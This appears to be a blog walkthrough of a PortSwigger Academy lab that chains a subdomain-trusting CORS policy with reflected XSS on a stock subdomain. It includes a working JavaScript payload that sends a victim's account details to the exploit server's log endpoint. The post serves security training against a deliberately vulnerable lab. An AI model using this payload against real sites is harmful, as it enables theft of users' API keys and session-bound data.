Post

PortSwigger Walkthrough - CORS vulnerability with trusted insecure protocols

Walkthrough of PortSwigger's 'CORS vulnerability with trusted insecure protocols' lab.

PortSwigger Walkthrough - CORS vulnerability with trusted insecure protocols

To browse all labs in this series, visit the full PortSwigger series.

All testing shown in this series is performed against PortSwigger Academy’s intentionally vulnerable labs.
Do not apply these techniques to systems you do not own or have explicit written permission to test.

What’s this?

This one combines two problems into one lab: a CORS whitelist that trusts all subdomains regardless of protocol (so an HTTP subdomain is treated the same as the HTTPS main domain), and an XSS bug on one of those trusted subdomains. Even a “correctly” scoped CORS config just moves the trust boundary to whatever it allows. If any of the allowed origins has its own vulnerability, that vulnerability now has a path straight into the main app’s authenticated data.

Objective

Same target as the previous two: steal the administrator’s API key using the exploit server. Own account: wiener:peter.

PortSwigger’s lab link

Walkthrough

Log in, grab GET /accountDetails, confirm Access-Control-Allow-Credentials: true is present. Origin: https://evil-site.com gets nothing reflected. Try a subdomain of the lab itself instead:

1
Origin: evil.LAB-ID.web-security-academy.net

That one reflects:

Origin reflected for an arbitrary subdomain

So any subdomain is trusted. Now the question is whether any subdomain has a vulnerability worth abusing. Checking the “Check stock” feature on a product page reveals a request to a stock. subdomain, and its productId parameter is reflected unescaped, straight into an XSS:

XSS in the stock subdomain's productId parameter

Now it’s just a matter of chaining the two: use the XSS on the trusted subdomain to run our CORS-stealing script, since anything running on that subdomain gets treated as a trusted origin by the main app. On the exploit server:

1
2
3
<script>
document.location="http://stock.LAB-ID.web-security-academy.net/?productId=4<script>var req = new XMLHttpRequest(); req.onload = reqListener; req.open('get','https://LAB-ID.web-security-academy.net/accountDetails',true); req.withCredentials = true;req.send();function reqListener() {location='https://exploit-SERVER-ID.exploit-server.net/log?key='%2bthis.responseText; };%3c/script>&storeId=1"
</script>

Deliver it, check the access log, grab the administrator’s API key, submit it. Lab solved.

Lab solved confirmation

The CORS config wasn’t even “wrong” in the naive sense, it just extended its trust to a whole subdomain, protocol mismatch and all, and that subdomain turned out to have its own bug. Trusting a domain means trusting everything running on it.



Wanna talk? Contact me here!

This post is licensed under CC BY 4.0 by the author.